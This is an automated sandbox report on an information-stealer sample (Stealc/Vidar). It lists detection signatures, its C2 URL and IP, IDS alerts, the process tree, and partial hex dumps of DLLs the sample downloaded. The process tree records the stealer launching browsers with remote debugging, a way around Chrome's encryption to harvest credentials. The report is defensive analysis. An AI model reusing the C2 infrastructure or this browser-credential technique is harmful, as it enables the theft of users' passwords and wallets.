Edit tour

Windows Analysis Report
7KVoLQr.exe

Overview

General Information

Sample name:	7KVoLQr.exe
Analysis ID:	1638270
MD5:	9f1023c3274b256915e8f68988697401
SHA1:	b3ece9b577026db5db6bfc1851d141ac4bfc59e1
SHA256:	0da73f77e0431bdbaea542ae6a4c7b669fc69fff2faadd97e8c39052e60019c8
Tags:	exeuser-TornadoAV_dev
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Joe Sandbox ML detected suspicious sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

7KVoLQr.exe (PID: 6972 cmdline: "C:\Users\user\Desktop\7KVoLQr.exe" MD5: 9F1023C3274B256915E8F68988697401)

chrome.exe (PID: 6296 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3696 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2148,i,464690638854917401,3531861548356657985,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2252 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

msedge.exe (PID: 7684 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8056 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2592 --field-trial-handle=2236,i,12764412967853214206,3382370563510622868,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8032 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5632 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2032,i,2847710879292302999,15459927812646094336,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.lexfo.fr/StealC_malware_analysis_part1.html https://blog.lexfo.fr/StealC_malware_analysis_part2.html https://blog.lexfo.fr/StealC_malware_analysis_part3.html https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "chickenkiller.com//gtthfbsb2h.php", "Botnet": "traff1"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1505216195.0000000000321000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.991824483.0000000004B40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1506156145.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 7KVoLQr.exe PID: 6972	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 7KVoLQr.exe PID: 6972	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7KVoLQr.exe PID: 6972	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 7KVoLQr.exe PID: 6972	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\7KVoLQr.exe", ParentImage: C:\Users\user\Desktop\7KVoLQr.exe, ParentProcessId: 6972, ParentProcessName: 7KVoLQr.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 6296, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-14T10:43:32.721539+0100	2044245	1	Malware Command and Control Activity Detected	45.132.206.251	80	192.168.2.7	49682	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-14T10:43:32.628904+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49682	45.132.206.251	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-14T10:43:33.001689+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49682	45.132.206.251	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-14T10:44:18.545087+0100	2044249	1	Malware Command and Control Activity Detected	192.168.2.7	49682	45.132.206.251	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-14T10:43:33.920114+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49682	45.132.206.251	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-14T10:43:33.009102+0100	2044247	1	Malware Command and Control Activity Detected	45.132.206.251	80	192.168.2.7	49682	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-14T10:43:32.303216+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49682	45.132.206.251	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-14T10:43:34.464165+0100	2803304	3	Unknown Traffic	192.168.2.7	49682	45.132.206.251	80	TCP
2025-03-14T10:44:10.028128+0100	2803304	3	Unknown Traffic	192.168.2.7	49682	45.132.206.251	80	TCP
2025-03-14T10:44:11.218584+0100	2803304	3	Unknown Traffic	192.168.2.7	49682	45.132.206.251	80	TCP
2025-03-14T10:44:12.029385+0100	2803304	3	Unknown Traffic	192.168.2.7	49682	45.132.206.251	80	TCP
2025-03-14T10:44:12.792507+0100	2803304	3	Unknown Traffic	192.168.2.7	49682	45.132.206.251	80	TCP
2025-03-14T10:44:14.637122+0100	2803304	3	Unknown Traffic	192.168.2.7	49682	45.132.206.251	80	TCP
2025-03-14T10:44:15.852578+0100	2803304	3	Unknown Traffic	192.168.2.7	49682	45.132.206.251	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 7KVoLQr.exe

Avira: detected

Found malware configuration

Source: 7KVoLQr.exe.6972.0.memstrmin

Malware Configuration Extractor: StealC {"C2 url": "chickenkiller.com//gtthfbsb2h.php", "Botnet": "traff1"}

Multi AV Scanner detection for submitted file

Source: 7KVoLQr.exe	Virustotal: Detection: 67%			Perma Link
Source: 7KVoLQr.exe	ReversingLabs: Detection: 57%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Users\user\Desktop\7KVoLQr.exe

Code function: 0_2_6CC16C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CC16C80

Source: 7KVoLQr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 2.23.227.208:443 -> 192.168.2.7:49683 version: TLS 1.0

Source:	Binary string: mozglue.pdbP source: 7KVoLQr.exe, 00000000.00000002.1515602975.000000006CC7D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: 7KVoLQr.exe, 00000000.00000002.1515945157.000000006CE3F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: 7KVoLQr.exe, 00000000.00000002.1515945157.000000006CE3F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: 7KVoLQr.exe, 00000000.00000002.1515602975.000000006CC7D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49682 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49682 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 45.132.206.251:80 -> 192.168.2.7:49682
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49682 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 45.132.206.251:80 -> 192.168.2.7:49682
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49682 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.7:49682 -> 45.132.206.251:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: chickenkiller.com//gtthfbsb2h.php

Source: global traffic

TCP traffic: 192.168.2.7:58806 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Mar 2025 09:43:34 GMTContent-Type: application/x-msdos-programContent-Length: 1106998Connection: keep-aliveUpgrade: h2,h2cLast-Modified: Thu, 05 Dec 2024 18:34:46 GMTETag: "10e436-6288a2718791b"Accept-Ranges: bytesX-Served-By: dug.chickenkiller.comData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Mar 2025 09:44:09 GMTContent-Type: application/x-msdos-programContent-Length: 685392Connection: keep-aliveUpgrade: h2,h2cLast-Modified: Thu, 05 Dec 2024 18:34:45 GMTETag: "a7550-6288a270bb76e"Accept-Ranges: bytesX-Served-By: dug.chickenkiller.comData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 14 Mar 2025 09:44:11 GMTContent-Type: application/x-msdos-programContent-Length: 608080Connection: keep-aliveUpgrade: h2,h2cLast-Modified: Thu, 05 Dec 2024 18:34:46 GMTETag: "94750-6288a270e7691"Accept-Ranges: bytesX-Served-By: dug.chickenkiller.comData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
